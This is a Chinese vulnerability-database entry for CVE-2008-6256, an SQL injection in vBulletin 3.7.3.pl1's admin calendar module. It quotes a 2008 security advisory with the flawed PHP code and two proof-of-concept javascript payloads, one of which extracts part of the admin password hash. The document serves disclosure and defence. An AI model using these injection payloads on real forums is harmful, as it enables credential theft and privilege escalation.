vBulletin admincp/admincalendar.php模块SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1184602 漏洞类型 SQL注入
发布时间 2008-11-18 更新时间 2009-03-06
CVE编号 CVE-2008-6256 CNNVD-ID CNNVD-200902-534
漏洞平台 N/A CVSS评分 6.5
|漏洞来源
https://www.securityfocus.com/bid/32348
https://cxsecurity.com/issue/WLB-2008110035
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-534
|漏洞详情
vBulletin是一款开放源代码的PHP论坛程序。vBulletin论坛的admincp/admincalendar.php文件没有正确地验证用户提交参数:-------------------[originalsourcecode]------------------if($_POST['do']=='saveholiday'){$vbulletin->input->clean_array_gpc('p',array('holidayid'=>TYPE_INT,'holidayinfo'=>TYPE_ARRAY,'month1'=>TYPE_INT,'day1'=>TYPE_INT,'month2'=>TYPE_INT,'day2'=>TYPE_INT,'period'=>TYPE_INT,'title'=>TYPE_STR,'description'=>TYPE_STR,));..$db->query_write("UPDATE".TABLE_PREFIX."holidaySETallowsmilies=".$vbulletin->GPC['holidayinfo']['allowsmilies'].",recuroption='".$vbulletin->GPC['holidayinfo']['recuroption']."',recurring=".$vbulletin->GPC['holidayinfo']['recurring']."WHEREholidayid=".$vbulletin->GPC['holidayid']);------------------[/originalsourcecode]------------------可见未经任何过滤便在UPDATE查询中使用了来自$_POST的数组类型变量holidayinfo,这允许远程攻击者通过提交恶意请求执行SQL注入攻击。
|漏洞EXP
[waraxe-2008-SA#068] - Sql Injection in vBulletin 3.7.3.pl1
========================================================================
=======

Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-68.html

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/

List of found vulnerabilities
========================================================================
=======

1. Sql Injection in "admincp/admincalendar.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Impact: low
Preconditions: attacker must have admin account with calendar administer privileges

Description
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's have look at "admincp/admincalendar.php" line ~867:

-------------------[original source code]------------------

if($_POST['do'] == 'saveholiday')
{
$vbulletin->input->clean_array_gpc('p', array(
'holidayid' => TYPE_INT,
'holidayinfo' => TYPE_ARRAY,
'month1' => TYPE_INT,
'day1' => TYPE_INT,
'month2' => TYPE_INT,
'day2' => TYPE_INT,
'period' => TYPE_INT,
'title' => TYPE_STR,
'description' => TYPE_STR,
));
..
$db->query_write("
UPDATE " . TABLE_PREFIX . "holiday
SET allowsmilies = " . $vbulletin->GPC['holidayinfo']['allowsmilies'] . ",
recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] . "',
recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] . "
WHERE holidayid = " . $vbulletin->GPC['holidayid']
);

------------------[/original source code]------------------

As we can see, array-type variable 'holidayinfo' from $_POST will be used in
sql UPDATE query without any sanitization. So sql injection seems to be possible.
Let's find out about exploitability of this security issue.

\|/ PoC #1
/|\ ========

Log in as admin and open holiday manager interface:

http://localhost/vbulletin373pl1/admincp/admincalendar.php?do=updateholi
day

Fill in the "title" field (content does not matter).
Next run this javascript via browser URL bar:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,waraxe=1";document.cpform.submit();

As result, sql error can be seen similar to this:

Database error in vBulletin 3.7.3:

Invalid SQL:

UPDATE vb_holiday
SET allowsmilies = 1,
recuroption = '1|1',
recurring = 6,waraxe=1
WHERE holidayid = 2;

MySQL Error : Unknown column 'waraxe' in 'field list'

\|/ PoC #2
/|\ ========

Log in as admin and open holiday manager interface like in previous test.
Fill in title field. Then execute following javascript:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM vb_user WHERE userid=1))";
document.cpform.submit();

As result we can see first five chars of admin's md5 hash:

Recurring Option Every 4ffb6 <<-- first five chars of hash

Possible impact
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fortunately for vBulletin users this sql injection is low-impact.
It's because attacker needs to be admin with calendar administer privileges in order
to exploit this security hole. So basically we have dealing with privilege
escalation exploit, because admin with limited privileges can use sql
injection for stealing other admin's password hashes and salts from database.
And in case of successful hash cracking attacker may try to impersonate
admin with wider set of privileges. Additionally sql file-related
functionality (LOAD_FILE() for example) can be used by attacker.

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~

come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/

---------------------------------- [ EOF ] ---------------------------------
|受影响的产品
VBulletin VBulletin 3.7.3 .pl1
|参考资料

来源:XF
名称:vbulletin-admincalendar-sql-injection(46683)
链接:http://xforce.iss.net/xforce/xfdb/46683
来源:MISC
链接:http://www.waraxe.us/advisory-68.html
来源:BUGTRAQ
名称:20081117[waraxe-2008-SA#068]-SqlInjectioninvBulletin3.7.3.pl1
链接:http://www.securityfocus.com/archive/1/archive/1/498369/100/0/threaded
来源:SECUNIA
名称:32735
链接:http://secunia.com/advisories/32735